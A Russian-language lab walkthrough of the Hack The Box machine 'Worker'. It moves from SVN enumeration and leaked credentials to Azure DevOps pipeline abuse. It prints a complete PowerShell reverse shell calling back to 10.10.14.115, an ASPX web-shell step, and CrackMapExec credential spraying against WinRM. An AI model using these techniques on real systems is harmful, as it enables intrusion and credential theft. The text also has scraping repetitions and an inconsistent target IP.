Как захватить хост с помощью Azure DevOps

Как захватить хост с помощью Azure DevOps

Подключение к лаборатории осуществляется через VPN. Не рекомендуется подключаться со своего рабочего компьютера или с хоста, который имеет важные для вас данные, потому что вы находитесь в частной сети с людьми, которые что-то да знают об информационной безопасности.В этой статье разберем как захватить хост с помощью Azure DevOps.

 

Как захватить хост с помощью Azure DevOps

Recon

Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.203	worker.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Как захватить хост с помощью Azure DevOps

И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.

Как захватить хост с помощью Azure DevOps

Давайте обратимся к службе svn. Subversion — это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.

svn info svn://worker.htb
Как захватить хост с помощью Azure DevOps

И мы знаем базовую ветку, автора и  что мы можем узнать последние пять изменений.

Entry Point

Посмотрим список файлов в данной ветке.

svn list svn://worker.htb
Как захватить хост с помощью Azure DevOps

 

Имеем директорию и файл. Скачиваем все к себе на хост.

svn export svn://worker.htb/dimension.worker.htb/
Как захватить хост с помощью Azure DevOps
 svn export svn://worker.htb/moved.txt
Как захватить хост с помощью Azure DevOps

И из последнего файла узнаем новый поддомен.

И из последнего файла узнаем новый поддомен.

Добавим его в /etc/hosts.

10.10.10.203	devops.worker.htb

Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.

svn checkout -r 1 svn://worker.htb
Но там нас встречает HTTP аутентификация
 svn checkout -r 2 svn://worker.htb
Но там нас встречает HTTP аутентификация

Применим изменения, чтобы получить данный файл.

svn up -r 2 deploy.ps1
Но там нас встречает HTTP аутентификация

И в данном powershell скрипте обнаружим учетные данные.

И в данном powershell скрипте обнаружим учетные данные.

 С найденными учетными данными получается аутентифицироваться на сайте.

С найденными учетными данными получается аутентифицироваться на сайте.

USER

Обратим внимание на репозиторий и то, что он содержит код.

Обратим внимание на репозиторий и то, что он содержит код.

Используем название репозитория как субдомен, занеся его в /etc/hosts.

10.10.10.203	spectral.worker.htb

И нас встречает сайт.

USER

Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадим новую ветку, добавим файл, добавим задачу, и сделаем ветку основной.

USER
USER
USER
USER
USER
USER

И после применения всех изменений, обратимся к нашему файлу.

И после применения всех изменений, обратимся к нашему файлу.

Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}; $client.Close()
Как захватить хост с помощью Azure DevOps

И получаем шелл.

Как захватить хост с помощью Azure DevOps

Немного осмотревшись, находим директории с конфигурациями.

Как захватить хост с помощью Azure DevOps
Как захватить хост с помощью Azure DevOps

И в файле passwd есть много пар логинов и паролей.

И в файле passwd есть много пар логинов и паролей.

А по открытым портам определяем работающую службу WinRM.

А по открытым портам определяем работающую службу WinRM.

 Давайте сделаем списки пользователей и паролей.

cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txt
cat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt

А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.

cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb
CrackMapExec

И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.

Подключаемся и забираем флаг.

ROOT

С этими же учетными данными мы возвращаемся на наш сайт.

ROOT

Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.

ROOT
ROOT
ROOT
ROOT

В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.

адрес,nmap,svn,ветка,файл,система,web
адрес,nmap,svn,ветка,файл,система,web
адрес,nmap,svn,ветка,файл,система,web

И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.

адрес,nmap,svn,ветка,файл,система,web

адрес,nmap,svn,ветка,файл,система,web

Вся информация представлена ​​только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный людям в результате использования знаний и методов, полученных при изучении этого документа.Как бы там ни было но все таки мы разобрали как захватить хост с помощью Azure DevOps.

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.